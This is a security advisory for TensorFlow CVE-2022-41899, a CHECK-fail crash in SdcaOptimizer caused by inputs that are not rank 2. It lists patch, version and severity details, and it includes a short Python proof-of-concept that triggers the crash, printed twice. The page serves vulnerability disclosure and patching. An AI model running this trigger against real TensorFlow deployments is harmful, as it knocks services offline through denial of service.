`CHECK` fail via inputs in `SdcaOptimizer`
Impact
Inputs dense_features or example_state_data not of rank 2 will trigger a CHECK fail in [SdcaOptimizer](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/sdca_internal.cc).
```python
import tensorflow as tf
tf.raw_ops.SdcaOptimizer(
sparse_example_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse_feature_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse_feature_values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
dense_features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
example_weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
example_labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
sparse_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)],
sparse_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
dense_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)],
example_state_data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100),
loss_type="squared_loss",
l1=0.0,
l2=0.0,
num_loss_partitions=1,
num_inner_iterations=1,
adaptative=False,)
`
Patches
We have patched the issue in GitHub commit...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | < 2.8.4 | 2.8.4 |
| >= 2.9.0, < 2.9.3 | 2.9.3 | |
| >= 2.10.0, < 2.10.1 | 2.10.1 |
Details and references
### Impact Inputs `dense_features` or `example_state_data` not of rank 2 will trigger a `CHECK` fail in [`SdcaOptimizer`](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/sdca_internal.cc). ```python import tensorflow as tf tf.raw_ops.SdcaOptimizer( sparse_example_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_feature_values=8 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_features=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_weights=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), example_labels=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), sparse_indices=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.int64, maxval=100)], sparse_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], dense_weights=4 * [tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100)], example_state_data=tf.random.uniform([5,5,5,3], dtype=tf.dtypes.float32, maxval=100), loss_type="squared_loss", l1=0.0, l2=0.0, num_loss_partitions=1, num_inner_iterations=1, adaptative=False,) ``` ### Patches We have patched the issue in GitHub commit [80ff197d03db2a70c6a111f97dcdacad1b0babfa](https://github.com/tensorflow/tensorflow/commit/80ff197d03db2a70c6a111f97dcdacad1b0babfa). The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Zizhuang Deng of IIE, UCAS
- CVSS 3.1
- CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:N/I:N/A:H
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-20, CWE-617
- Also known as
- BIT-tensorflow-2022-41899, CVE-2022-41899, PYSEC-2026-3086, PYSEC-2026-3264, PYSEC-2026-941
- github.com/tensorflow/tensorflow/security/advisories/GHSA-27rc-728f-x5w2
- nvd.nist.gov/vuln/detail/CVE-2022-41899
- github.com/tensorflow/tensorflow/commit/80ff197d03db2a70c6a111f97dcdacad1b0babfa
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/blob/master/tensorflow/core/kernels/sdca_internal.cc